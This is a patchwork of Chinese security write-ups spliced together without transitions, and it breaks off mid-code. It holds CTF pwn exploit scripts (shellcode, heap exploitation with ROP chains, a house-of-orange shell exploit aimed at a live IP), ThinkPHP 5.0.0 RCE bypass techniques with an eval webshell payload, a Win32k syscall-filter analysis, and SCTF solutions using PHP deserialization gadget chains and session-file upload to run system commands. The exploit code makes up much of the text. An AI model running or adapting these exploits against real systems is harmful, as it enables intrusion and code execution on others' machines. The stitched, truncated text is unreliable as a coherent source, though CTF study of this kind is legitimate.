mov dh,0xf
xchg rsi,rdi
syscall
''')
print('len_sc: %d' %len(sc))
r.sendafter(':', sc)
shellcode = asm('''
init:
mov r15, rsi
lea rbp, [r15+0x3900]
lea rdi, [r15+0x300]
mov rsi, 0
find_dir:
sub rbp, 0x320
mov [rbp-0x30], rdi
mov [rbp-0x40], rsi
mov rsi, 0x10000
mov rdi, [rbp-0x30]
mov rax, 2
syscall
mov [rbp-0x28], rax
chdir:
mov rdi, [rbp-0x30]
mov rax, 80
syscall
getdents:
mov rdi, [rbp-0x28]
lea rsi, [rbp-0x300]
mov rdx, 0x400
mov rax, 0x4e
syscall
mov [rbp-8], rax
cmp rax, 0
jz out_loop1
xor r8, r8
mov [rbp-0x10], r8
loop2:
mov eax, [rbp-0x10]
cmp eax, [rbp-8]
jl print_filename
jmp getdents
print_filename:
mov eax, [rbp-0x10]
cdqe
lea rdx, [rbp-0x300]
add rax, rdx
mov [rbp-0x18], rax
add rax, 0x12
mov [rbp-0x20], rax
d_type:
mov eax, [rbp-0x10]
movsxd rdx, eax
mov rax, [rbp-0x18]
movzx eax, word ptr [rax+0x10]
movzx eax, ax
add rax, rdx
lea rdx, [rax-1]
lea rax, [rbp-0x300]
add rax, rdx
movzx eax, byte ptr [rax]
mov [rbp-0x38], al
update_bpos:
mov rax, [rbp-0x18]
movzx eax, word ptr [rax+0x10]
movzx eax, ax
add [rbp-0x10], eax
cmp_dir:
mov rax, [rbp-0x20]
mov rax, [rax]
find_flag:
cmp eax, 0x67616c66
jnz cmp_parent
mov rsi, 0x60
lea rdi, [r15+0x500]
mov rax, 79
syscall
print_cwd:
mov rdi, 1
lea rsi, [r15+0x500]
mov rdx, 0x60
mov rax, 1
syscall
exit:
mov rax, 60
syscall
cmp_parent:
cmp al, 0x2e
jz loop2
mov r8, [rbp-0x38]
cmp r8, 4
jnz loop2
digui:
mov eax, [rbp-0x40]
lea edx, [rax+1]
mov rax, [rbp-0x20]
mov esi, edx
mov rdi, rax
call find_dir
jmp loop2
out_loop1:
lea rdi, [r15+0x320]
mov rax, 80
syscall
mov rdi, [rbp-0x28]
mov rax, 3
syscall
add rbp, 0x320
ret
''')
read_sc = asm('''
init:
mov r15, rsi
lea rbp, [r15+0x3900]
lea rdi, [r15+0x300]
mov rsi, 0
open:
mov rax, 2
syscall
mov [rbp-0x20], rax
read:
mov rdx, 0x20
lea rsi, [r15+0x500]
mov rdi, [rbp-0x20]
mov rax, 0
syscall
write:
mov rdi, 1
lea rsi, [r15+0x500]
mov rdx, 0x20
mov rax, 1
syscall
exit:
mov rax, 60
syscall
''')
# find flag
# r.sendline(('a'*7+shellcode).ljust(0x300,'x90')+
# './flag'.ljust(0x10,'x00')+
# '.'.ljust(0x10,'x00')+
# '..'.ljust(0x10,'x00')+
# 't'.ljust(0x10,'x00')+
# 'n'.ljust(0x10,'x00')) # r15+0x340
# read flag
cwd = '/flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9'
r.sendline(('a'*7+read_sc).ljust(0x300,'x90')+
'%s/flagx00'%cwd)
r.interactive()
### babyheap
**分析**
* 程序edit功能有一个off-by-null漏洞
* 通过off-by-null漏洞攻击方法可以构造一个重叠的堆块，能够控制已经释放的堆块
* 利用程序show功能泄露libc地址、堆地址
* 通过unsortbin攻击可以修改global_max_fast为很大的数，可以进行fastbin attack
* 通过fastbin attack修改free_hook为printf函数
* 通过修改后的free功能调用printf函数的格式化字符串漏洞泄露程序地址、栈地址
* 通过fastbin attack修改程序全局指针指向已控制的堆块，里面的指针可以任意修改，可以任意地址读写
* 通过edit功能在栈上构造open、read、write的rop，edit函数返回时就执行rop读取输出flag
**exp**
#!/usr/bin/env python
# -*- coding: utf-8 -*- #version 6 by tempo
from pwn import *
from fmt64_payload import *
context.log_level = "debug"
proc_name = 'babyheap.bak'
libc_name = './libc-2.23.so' #'/lib/x86_64-linux-gnu/libc-2.23.so'
ip_addr = "123.206.174.203:20001" #/lib32/libc-2.23.so
local = 0
#-------------------no change this---------------------- elf = ELF('./{}'.format(proc_name))
if local:
if len(libc_name) ==0:
r = process('./{}'.format(proc_name))
libc = r.libc
else:
r = process('./{}'.format(proc_name), env = {"LD_PRELOAD": libc_name})
libc = ELF(libc_name)
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
r=remote(ip_addr.split(":")[0],ip_addr.split(":")[1])
libc = ELF(libc_name)
#------------------------------------------------ def add(size):
r.sendlineafter("Choice","1")
r.sendlineafter("Size",str(size))
def edit(index,content):
r.sendlineafter("Choice","2")
r.sendlineafter("Index",str(index))
r.sendafter("Content",str(content))
def free(index):
r.sendlineafter("Choice","3")
r.sendlineafter("Index",str(index))
def show(index):
r.sendlineafter("Choice","4")
r.sendlineafter("Index",str(index))
# gdb.attach(r)
add(0x18) #0
add(0x500) #1
edit(1,p64(0x500)*(0x500/8))
add(0x80) #2
add(0x18) #3 #用于和top_chunk分开
free(1)
edit(0,'a'*0x18)
add(0x30) #1
add(0x80) #4
add(0x420) #5
free(1)
free(2) #chunk shrink
#现在4和5是重合的，可以通过5修改这个0x430大小的堆块
add(0x30) #1
#show泄露地址
show(4)
r.recv(2)
libc.address = u64(r.recvline(False).ljust(8,'x00')) -0x7ffff7dd1b78 + 0x7ffff7a0d000
success("libc_addr => "+hex(libc.address))
add(0x10) #2
add(0x10) #6
add(0x10) #7
free(7)
free(2)
show(4)
r.recv(2)
heap_addr = u64(r.recvline(False).ljust(8,'x00')) - 0x5555557570a0 + 0x0000555555757000
success("heap_addr => "+hex(heap_addr))
free(6)
add(0x90) #2
#通过unsortbin attack修改global_max_fast为一个很大的值main_arena+0x58
max_addr = libc.address - 0x7ffff7a0d000 + 0x7ffff7dd37f8
add(0x20) #6 和5是同一块
add(0x60) #7
add(0x410) #8
free(6)
payload = p64(0)+ p64(0x31) + p64(0) +p64(max_addr-0x10)
edit(5,payload)
add(0x20) #6
# 通过fastbin_attack修改free_hook为prinf
free_hook = libc.sym['__free_hook']
fake_addr = free_hook -0x108b-8
free(7)
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) +p64(0x71) + p64(fake_addr)
edit(5,payload)
add(0x60) #7
add(0x60) #9 用来伪造size，在free_hook上方
payload = 'x00'*3 + 'x00'*0x48+ p64(0x421)
edit(9,payload)
fake_addr = fake_addr+0x53
free(8)
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x880chunk的fd
add(0x410) #8
add(0x410) #10
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(10,payload)
free(8)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #8 这个块可以控制free_hook
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(8,payload)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #11
payload = 'x00'*0x400 + p64(0) +p64(0x421)
edit(11,payload)
free(7)
fake_addr = fake_addr+0x410
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) + p64(0x71) + 'x00'*0x60
payload += p64(0) + p64(0x421) + p64(fake_addr)
edit(5,payload) #修改0x420chunk的fd
add(0x410) #7
add(0x410) #12
printf_addr = libc.sym['printf']
payload = 'x00'*0x400 + p64(printf_addr) #free_hook_value
edit(12,payload)
#通过printf格式化字符串漏洞泄露栈地址
edit(2,'%p '*0x40)
free(2)
r.recv()
res = r.recv().split(' ')
elf_addr = int(res[0],16) - 0x5555555552c2 + 0x555555554000
stack_addr = int(res[2],16) - 0x7fffffffed00 + 0x7ffffffde000
canary = int(res[16],16)
success("elf_addr => "+hex(elf_addr))
success("stack_addr => "+hex(stack_addr))
success("canary => "+hex(canary))
r.sendline()
#修改程序中全局指针
fake_addr = elf_addr - 0x555555554000 + 0x5555557560fd
payload = p64(0)+ p64(0x31) + 'x00'*0x20
payload += p64(0) +p64(0x71) + p64(fake_addr)
edit(5,payload)
add(0x60) #2
add(0x60) #13
edit(5,p64(heap_addr - 0x0000555555757000+0x00005555557571b0)*0x100)
payload = 'x00'*3 + p64(heap_addr - 0x0000555555757000+0x00005555557571b0)
edit(13,payload)
#下面开始任意地址读写
ret_addr = stack_addr - 0x7ffffffde000 + 0x00007fffffffed48 #这里放堆地址
edit(15,p64(ret_addr)+p64(0x200)) #设置0 为栈地址，用edit编辑
pop_rsp_ret = libc.address + 0x0000000000003838
payload = p64(pop_rsp_ret) + p64(ret_addr+0x10)
#通过任意地址写在栈上构造读取flag的rop
buf_addr = elf_addr - 0x555555554000 + 0x00005555557561C8
p = ''
# fd = open('flag', 0)
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr) # @ .data
p += p64(0x0000000000033544+libc.address) # pop rax ; ret
p += '/flag'.ljust(8,'x00')
p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret
p += p64(0x0000000000021102+libc.address) # pop rdi ; ret
p += p64(buf_addr) # @ .data
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(0) # rsi = 0
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
# read(fd, buf_addr+8, 0x100)
# p += p64(0x000000000044fd9f) # xchg eax, ebp ; ret
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+0x30) # @ .data + fd
p += p64(0x000000000007783a+libc.address) # mov qword ptr [rsi], rax ; ret
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(buf_addr+0x30) # @ .data + fd
p += p64(0x00000000001840e6+libc.address) # mov edi, dword ptr [rdx] ; ret
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+8) # @ .data + 8
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(0x100) # 0x100
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
# write(1, buf_addr+8, 0x100)
p += p64(0x0000000000021102+libc.address) # pop rdi ; ret
p += p64(1) # stdout
p += p64(0x00000000000202e8+libc.address) # pop rsi ; ret
p += p64(buf_addr+8) # @ .data + 8
p += p64(0x0000000000001b92+libc.address) # pop rdx ; ret
p += p64(0x100) # 0x100
p += p64(0x000000000008b8c5+libc.address) # xor rax, rax ; ret
p += p64(0x00000000000abf40+libc.address) # add rax, 1 ; ret
p += p64(0x00000000000bc375+libc.address) # syscall ; ret
payload += p
# gdb.attach(r,"b *0x00005555555551E7")
edit(0,payload)
r.interactive()
### many_notes
**分析**
* 输入username长度为8是可以泄露libc地址
* 在read函数中，输入content的时候，循环中的size大小不变，有堆溢出漏洞
* 线程thread_arena分配的堆块原理与main_arena大致一样
* 通过不停分配堆块，类似于house of orange，最后top chunk不够分配的内存会被free掉进入unsortbin
* 从unsortbin中new一个新的堆块，并通过堆溢出漏洞修改unsortbin，利用house of orange方法getshell
**exp**
#!/usr/bin/env python
# -*- coding: utf-8 -*- #version 6 by tempo
from pwn import *
from time import sleep
import base64
context(os='linux', arch='amd64')
context.log_level = 'debug'
IS_DEBUG = 0
prog = './many_notes'
def change_ld(binary,ld):
if not os.access(ld, os.R_OK):
log.failure("Invalid path {} to ld".format(ld))
return None
if not isinstance(binary, ELF):
if not os.access(binary, os.R_OK):
log.failure("Invalid path {} to binary".format(binary))
return None
binary = ELF(binary)
for segment in binary.segments:
if segment.header['p_type'] == 'PT_INTERP':
size = segment.header['p_memsz']
addr = segment.header['p_paddr']
data = segment.data()
if size <= len(ld):
log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld))
return None
binary.write(addr, ld.ljust(size, ''))
if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn')
path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path))
if os.access(path, os.F_OK):
os.remove(path)
info("Removing exist file {}".format(path))
binary.save(path)
os.chmod(path, 0b111000000) #rwx------ success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path))
return ELF(path)
#example
elf = change_ld('./many_notes', './ld-linux-x86-64.so.2')
if IS_DEBUG:
r = elf.process(env={'LD_PRELOAD':'./libc.so.6:./ld-linux-x86-64.so.2:./libpthread.so.0'})
libc =r.libc
# r = process(prog, env={'LD_PRELOAD':'../libc/libc-2.28.so'})
else:
r = remote('123.206.174.203', 20003)
# r = process('./{}'.format(prog))
libc = ELF('./libc.so.6')
def my_u64(byte_arr):
padding = b'x00' * (8-len(byte_arr))
res = byte_arr + padding
return struct.unpack('<Q', res)[0]
def round(size,padding,input,content):
r.sendlineafter("Choice","0")
r.sendlineafter("Size",str(size))
r.sendlineafter("Padding",str(padding))
r.sendlineafter("Input?",str(input))
if input != 0:
r.sendafter("Content",str(content))
r.sendafter("name","a"*8) #可用于泄露程序地址，libc地址，栈地址 0x00007fffffffecc0
r.recvuntil("a"*8)
libc.address = u64(r.recv(6).ljust(8,'x00')) -0x7ffff7bb5720+ 0x00007ffff780a000
success(hex(libc.address))
for i in range(0x2fe):
round(0x2000,0x1f, 0,'a'*0x2000)
round(0x2000,0xe, 0, 'a'*0x2000)
# consume freed chunk at the tail of heap_0
round(0x300, 0, 0, '')
#剩下0x1e0大小的unsortbin,将以下payload溢出覆盖正常的unsortbin
#模板：
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search("/bin/sh"))
io_list_all = libc.sym['_IO_list_all'] #&_IO_list_all
io_str_jump = libc.sym['_IO_file_jumps']+0xc0 #&_IO_str_jumps
payload = 'b'*0x10
#需要将(_IO_list_all或_IO_2_1_stderr+0x68_或_IO_2_1_stdout_+0x68或_IO_2_1_stdin_+0x68)的值修改为伪造表的地址或者一个0x68处指向伪造表的指针（如unsortbin攻击），比如将*_IO_list_all修改为a,a的0x68处指针为b，b就是以下payload，为伪造的io_file_plus表
payload += p64(0) + p64(0x61) + p64(0) +p64(io_list_all-0x10) +p64(0)+p64(1)+p64(0)
payload += p64(bin_sh_addr) + p64(0)*19 +p64(io_str_jump-8)
payload += p64(0) + p64(system_addr)#system调用时会将IO_buf_base设为参数，实现shell
#这里的io_list_all-0x10主要是为了利用unsortbin attack，修改_IO_list_all的值为main_arena+0x58，在有任意地址写的能力时，就不需要这么麻烦了。
#payload长度0x100
round(0x100,0, 1, 'a'*0xf0) #剩余0x10
r.send(payload)
r.sendlineafter("Choice","0")
r.sendlineafter("Size",str(0x10))
r.interactive() | 社区文章 |
# TP诸多限制条件下如何getshell
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1608090017&ver=2769&signature=TOkazjrQzG4Wv4iy7EJR7SqSG1QTlu2EbJb3jmDZdFOQlPdjUXunTEVnpSUoCT3NoERpaHRdHSv7pwBFIvxrQFY5MkZ2bupclX*x8gv91yu6Ym2YBVYRtVI45yHv4DNm&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1608090017&ver=2769&signature=TOkazjrQzG4Wv4iy7EJR7SqSG1QTlu2EbJb3jmDZdFOQlPdjUXunTEVnpSUoCT3NoERpaHRdHSv7pwBFIvxrQFY5MkZ2bupclX*x8gv91yu6Ym2YBVYRtVI45yHv4DNm&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
先说说2020_n1CTF的web题Easy_tp5复现问题。
这个题在保留thinkphp的RCE点的同时，并且RCE中ban掉许多危险函数，只能允许单参数的函数执行。对于现在在网络中流传的文件包含的点也增加了限制。
smile yyds!
先说一下这个题限制条件：
* thinkphp版本：5.0.0
* php版本：7
* 对于包含文件增加了限制
* ban掉所有的单参数危险函数
* 设置open_basedir为web目录
* 设置仅在public目录下可写
在TP5.0.0的中，目前公布的只是存在利用Request类其中变量被覆盖导致RCE。如果ban掉单参数可利用函数那么只能用文件包含，但是文件包含做了限制不能包含log文件，所以只能从别的方面入手。
这些限制都太大了，所以需要想办法去上传一个shell来完成后续绕disable_function。
首先TP5.0.0目前只存在通过覆盖Request中的某些变量导致RCE，其余细节不再赘述，我们看看大概代码执行点在哪里。
call_user_func是代码执行点，我们基本上所有PHP自带的可利用函数基本被ban掉，所以我们需要从自写的函数调用来入手，首先我们需要看下这个点。可回调函数不仅仅指的是简单函数，还可以是一些对象的方法，包括静态方法。
## 方法一 thinkphplibrarythinkBuild::module
我们可以这样通过调用这个类的静态方法module，来实现写文件的操作。
我们先看看这个该怎么走，我们看到这个mkdir是在application创建目录，但是由于权限问题肯定无法创建。根据TP报错即退出的机制从而中断执行。那么我们可以通过../public/test来创建目录。
我们会进入到buildhello函数中。
走完流程发现我们可以在public创建了一个test模块，同样看到test/controller/Index.php中我们所写的../public/test保存了下来那么我们就绕过，但是执行完之后会发现一些语法错误导致代码不能执行。
由于这部分内容可控那我们就把他变得符合语法执行，我们可以这么做test;eval($_POST[a]);#/../../public/test;，这样就符合语法。
但是还有一个问题需要解决，就是我们这样的payload会设置一个不存在目录从而可以符合语法并且加入eval函数。但是现在还存在一个跨越不存在目录的问题。
* linux环境
* win环境
在Linux中不能创建不存在的目录，但是在win下就可以。但是报错是warning，并不会中断执行，并且在bindhello函数中我们会看到：
其中mkdir函数存在recursive参数为true，允许递归创建多级嵌套的目录。这样就可以使mkdir中使用不存在的目录就可以进行绕过。但是现在有个问题：前面的mkdir中的warning报错被TP捕获到直接会退出无法执行后面的内容，那么我们就需要使用一些办法进行抑制报错。我们经常做题会用到一个函数error_reporting，我们可以使用error_reporting(0)抑制报错。
我们再回到代码执行点，我们发现call_user_func函数执行完的值会执行循环再次回到call_user_func()中当回调函数的参数进行使用。因此需要考虑一下怎么调整才能让我们执行并且抑制报错。
1.如果我们将error_reporting放在前面执行，无论参数是什么都会返回0从而导致后面执行代码不可控。2.如果我们将thinkBuild::module放前面，那么thinkphp报错也不能执行成功。但是如果我们放入一个中间值，在第一次执行能够成功创建目录，并且error_reporting还能成功执行，这时候就需要用到PHP弱类型比较，PHP中
0 == null，0 == 非数字开头的字符串。
payload如下可示：
## 方法二 使用注释符绕过语法产生的错误
payload如下：
这样就会使用注释符注释掉后面的语法错误，然后使用?>包裹住，后面跟上自己用的payload即可。但是这样会产生一个问题，无法在win环境下使用，win下文件夹中不能带这些字符/
: * ? ” < > |
## 方法三 文件包含&php伪协议
这种操作就是，我们通过之前的thinkBuild::module写文件进去，写入的内容是我们rot13编码过的。然后通过think__include_file调用我们写入文件的内容，因为这个过滤不够完全，可以让我们包含我们所写的内容。
## 方法四 覆盖日志路径写入
因为题目将error_log函数ban掉了，所以这个非预期解是在不ban掉error_log函数的情况下所实现的。
payload具体如下：
1.通过json_decode使得我们传入的{“type”:”File”,
“path”:”/var/www/html/null/public/logs”}转换成内置类stdClass的一个对象。
2.再通过get_object_vars将其转换成数组传入到thinkLog::init中。
3.在其中会new了一个thinklogdriverFile，并且传入的参数是我们的’path’=>/var/www/html/null/public/logs，那么会触发类中的__construct，将其默认的path给覆盖掉。
4.最后因为我们触发漏洞点的特殊性，肯定会报错使得报错信息可以被计入到log文件里。
5.之后再通过thinkLang::load包含。
## 方法五 ::竟然可以调用非静态方法
下面是个简单的例子。
<?php
class A{
public function test1($a){ echo "test1".$a; } static function test2($a){ echo "test2".$a; } public function test3($a){ $this->b = $a; echo "test3".$this->b; }}
call_user_func("A::test1","x");echo "</br>";call_user_func("A::test2","x");echo "</br>";call_user_func("A::test3","x");echo "</br>";//$xxx=new A();//call_user_func(array($xxx,'test3'),"x");
我们看看会怎么执行。
会发现使用::调用了public类的方法并且能够成功执行，但是会报错。并且::仅仅适合在方法中没有写$this的情况，因为$this指代的是这个对象，找不到对象自然会报错。那么我们看一下下面的payload就会一眼明白，payload其实用了跟上面预期解抑制错误的另一种方法，然后抑制报错让TP不会遇错停止执行。
这个题解的payload如下：
1.因为PHP本身的错误处理被thinkphp所替代进行处理，所以上面就是将thinkphp所替代错误进行处理的方法给覆盖掉导致没有办法正常执行。
2.调用self::path方法，可以抛弃掉我们上一个执行的返回值，并且返回我们所输入的path。为什么会返回path，path为什么是我们输入的值，这个就是之前提到的代码执行点他是覆盖了Request类的参数，所以方法返回的是$this->path，这个我们可以控制。
3.之后调用base64_decode，返回值就是我们base64解码的内容。
4.解码后的返回值就会进入thinkviewdriverPhp::Display中，然后进入eval执行代码。 | 社区文章 |
# 【技术分享】深入分析Win32k系统调用过滤机制
|
##### 译文声明
本文是翻译文章，文章来源：improsec.com
原文地址：<https://improsec.com/blog//win32k-system-call-filtering-deep-dive>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：140RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
Windows内核漏洞的利用具有高风险，经常用于浏览器沙箱逃逸。许多年以来,发现的大多数漏洞都是来源于Win32k.sys驱动，它负责处理来自GDI32.DLL和user32.dll的调用。为了缓解这些漏洞,微软在window10上实现了Win32系统调用过滤.总体思路是在进程入口处尝试阻止大量的发往win32.sys的系统调用,以便阻止未知的漏洞利用。我没有找到实现的相关细节,也不确定效果如何。我发现的唯一资料就是由Peter
Hlavaty发表在 [Rainbow Over the
Windows](http://www.slideshare.net/PeterHlavaty/rainbow-over-the-windows-more-colors-than-you-could-expect)的相关文章。
**系统调用101**
我理解过滤技术的第一个方法就是研究系统调用是如何执行。分析是基于Windows
10周年更新的64位版本。通常,系统调用在gdi32.dll或者user32.dll的函数中被初始化,最终会在win32u.dll中调用真实的系统调用。但是，我们可以直接使用汇编来显示系统调用，在以下的POC中,我查询到系统调用号为0x119E的WIN32K函数是NtGdiDdDDICreateAllocation。所以我简单地创建下面的测试应用程序：
下图是NtGdiDdDDICreateAllocation的汇编代码：
当运行syscall指令后,将转入内核模式执行.真实的系统调用位于NT!KiSystemStartService。但是，由于有大量的系统调用，所以我们需要在调试器中设置一个条件断点：
运行POC并开启断点
首先显示的系统调用号就是我们提供的0x119E，其实参数1,2,3,4保存在寄存器RCX，RDX，R8和R9中。在IDA中查看相关代码：
查阅代码,我们发现一个有趣的问题:RBX寄存器的内容是什么,这又是从何而来。尝试引用KiSystemServiceStart,我们发现
RBX在以下函数中被设置：
MOV RBX GS：188将Win32SyscallFilter.exe的内核线程结构载入RBX中，验证如下：
**研究算法**
接下来的问题是RBX +
0x78代表什么，事实证明，它代表一系列的标志位。下图引用的两个标志是GuiThread和RestrictedGuiThread，它们分别位于标志的第6位和和19位。
在我们的例子中，标志位的值如下：
由于线程不是一个GUI线程，所以会重定向的将它转换成一个GUI线程，然后返回相同的指针。继续执行会发生：
Win32kSyscallFilter并没有做任何事。但是接下来的检查很有趣。RestrictedGuiThread标志指明,如果启用系统调用过滤，会在进程级别上进行检测：
因此，对于当前的进程和线程,系统调用过滤没有启用。查看进一步执行,将体现出这个标志位的重要性：
如果开启了系统调用过滤功能,KeServiceDescriptorTableFilter将取代KeServiceDescriptorTableShadow，如果没有开启过滤,则将使用KeServiceDescriptorTableShadow。接下来要观察系统调用表的使用，如下图所示：
在经过运算后,RDI包含系统调用数目。在WIN32K系统的情况下,它的值是0x20。所以，取决于系统调用过滤是否开启,不同的表会被载入R10.这两个选项是：
然后该表将转入真实的函数调用：
跟随以上的算法，我们在调试器中找到：
所以这很显然,系统调用号通过负偏移指向W32pServiceTable结构，然后指向真实的NtGdiDdDDICreateAllocation函数。这是非常好的，但是如果开启了系统调用过滤,会有什么区别呢，这可以使用W32pServiceTableFilter来进行验证：
我们看到在此之前并没有什么区别,这是因为NtGdiDdDDiCreateAllocation并不是过滤的API之一，如果我们选择其他的系统调用,比如NtGdiDdDDiCreateAllocation,它的系统调用号是0x117E。我们基于是否启用系统调用过滤来对比以下两个输出。
首先是未启用系统调用过滤的：
然后是启用系统调用过滤：
我们发现，如果开启了系统调用过滤功能，系统调用是不允许的另一个函数被调用的。该过滤函数验证是否启用系统调用过滤并简单的结束系统调用。
**利用的结果**
现在我们了解了系统调用过滤是如何工作的，我们需要研究它是如何防止内核漏洞利用的。首先要看看它保护的是什么进程，到目前为止，仅仅是微软Edge可以启用这个功能，目前第三方程序没有可以启用它的接口。这意味着系统调用过滤仅仅关心Microsoft
Edge漏洞并且仅限于内核漏洞。下面我们可以看到MicrosoftEdgeCP.exe的进程结构，并启用了系统调用过滤：
回顾我早期文章，关于重新启用tagWND对象作为读写原语的用法的，我想知道是否使用这个方法的任意系统调用都会被过滤，在那个方法中使用的内核模式的函数是：
NtUserCreateWindowEx
NtUserDestroyWindow
NtUserSetWindowLongPtr
NtUserDefSetText
NtUserInternalGetWindowText
NtUserMessageCall
在win32k.sys中没有stub_*方法的函数意味着不会被过滤。结论就是Win32K系统调用过滤不会阻止可能导致漏洞的系统调用，但是当系统调用触发一个漏洞时,它一定会阻止，可能是write-that-wherer或者是一个缓冲区溢出。WIN32K系统调用过滤所提供的保护是巧妙的，但关键在于是否使用了系统调用来触发漏洞。 | 社区文章 |
# SCTF WriteUp by SU
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Book.
## Web
### FUMO_on_the_Christmas_tree
通过给定的一个 gadget class 文件来进行 PHP 反序列化 RCE。观察后发现只有一个类有 destructor，然后所有和系统互动的函数只有
readfile，所以这应该就是入口和出口。剩下的只需要找到一个调用路径从入口到出口。
所有的类都只有一个函数和一些成员变量。函数内部做的操作大概分为两类：
* 对输入用函数做一些变换
* 调用其它类的成员函数
我们先看所有对输入做变换的函数。其中有
1. `crypt`、`sha1`、`md5`
2. `base64_encode`
3. `str_rot13`、`strrev`、`ucfirst`、`base64_decode`
第一类是不可逆的，必须避免遇到；第二类是可逆的，但必须满足条件，只有在 `base64_encode` 后再出现一个 `base64_decode`
才行，并且两者中间的操作必须最终保证数据一致；第三类是完全可逆的。要注意的是，有的里面还会出现直接的赋值语句，比如 `$xxx = $yyy`。如果是
`$xxx = $xxx`（自己赋给自己）的类型则可以，否则的话则需要避免遇到（因为右侧的变量不存在）。
接下来，对于所有的类我们需要建立一个调用关系。类里函数调用的方式有几种：
// 第一种
public function viqSfkeZ91($DUkiWcRS) {
if (is_callable([$this->pHnfXT0TP, 'T81ZgYZlGt']))
@$this->pHnfXT0TP->T81ZgYZlGt($DUkiWcRS);
}
// 第二种
public function __invoke($value) {
$key = base64_decode('QThTQjRHWm1WRw==');
@$this->BUDQkw->zvHrWpSd($value[$key]);
}
// 第三种
public function __call($name,$value) {
extract([$name => 'FTTh89A9u']);
if (is_callable([$this->IwXv56wBHu, $KDKR9Egl7]))
call_user_func([$this->IwXv56wBHu, $KDKR9Egl7], ...$value);
}
// 第四种
public function ttcoBkt($a06sSms0Pd) {
call_user_func($this->Z9vliIEZ9u, ['upGnwrVnpV' => $a06sSms0Pd]);
}
* 第一种找哪个类有`T81ZgYZlGt`。
* 第二种找哪个类有`zvHrWpSd`。
* 第三种需要看`extract`里面的参数，找到哪个类有`FTTh89A9u`。处理的时候要注意第三种等价于第一种的写法：
public function KDKR9Egl7($value) {
if (is_callable([$this->IwXv56wBHu, 'FTTh89A9u']))
@$this->IwXv56wBHu->FTTh89A9u($value);
}
* 第四种只能调用第二种，需要找哪个类的`__invoke`函数的`base64_decode`的参数是`upGnwrVnpV`的 Base64 编码字符串。
如果一个类可以通过某种方式（保证输入是上文所述可逆变化的条件下）带着输入调用另一个类，则可以从这个类到达另一个类。那接下来我们直接在上文建立好调用关系的情况下，在这些类上（看成一个图）从入口开始进行
DFS，中间记录经过的类、函数和对输入进行的变换。如果能够在满足上述条件的情况下到达出口，则成功找到一条调用路径。
剩下的就是用现成的 PHP 解析库解析所有的类，构建上述关系并且跑算法，最后得出一条路径，再手动构造序列化字符串和输入即可。
### Upload_it
import requests
import os
url = "http://124.71.199.229:8778/"
s = requests.Session()
s.get(url)
cookie = s.cookies.get("PHPSESSID")
def store(path,name,con):
r = s.post(url,files={"file":(name,con),"path":(None,path)})
serSes = os.popen("php gadget.php").read()
store("../../../../tmp","sess_"+cookie,serSes)
print(s.post(url,files={"file":("pew","XXD")}).text)
<?php
namespace Symfony\Component\String;
class LazyString {
function __construct() {
$func = function(){system("cat /flag");};
$this->value = new \Opis\Closure\SerializableClosure($func);
}
}
include_once "vendor/autoload.php";
print("upload_path|".(serialize(new \Symfony\Component\String\LazyString())));
### Loginme
X-real-ip:127.0.0.1
age={{$}}
### Ezuros
import requests
import os
url = "http://124.70.204.21:7777/"
payload = os.popen("php gadget.php").read()
s = requests.Session()
s.get(url)
s.post(url+"config",json={'XXD|{}FF'.format(payload):'XXD'})
print(s.get(url+"config").text)
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
protected $level = null;
protected $initialized = true;
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace {
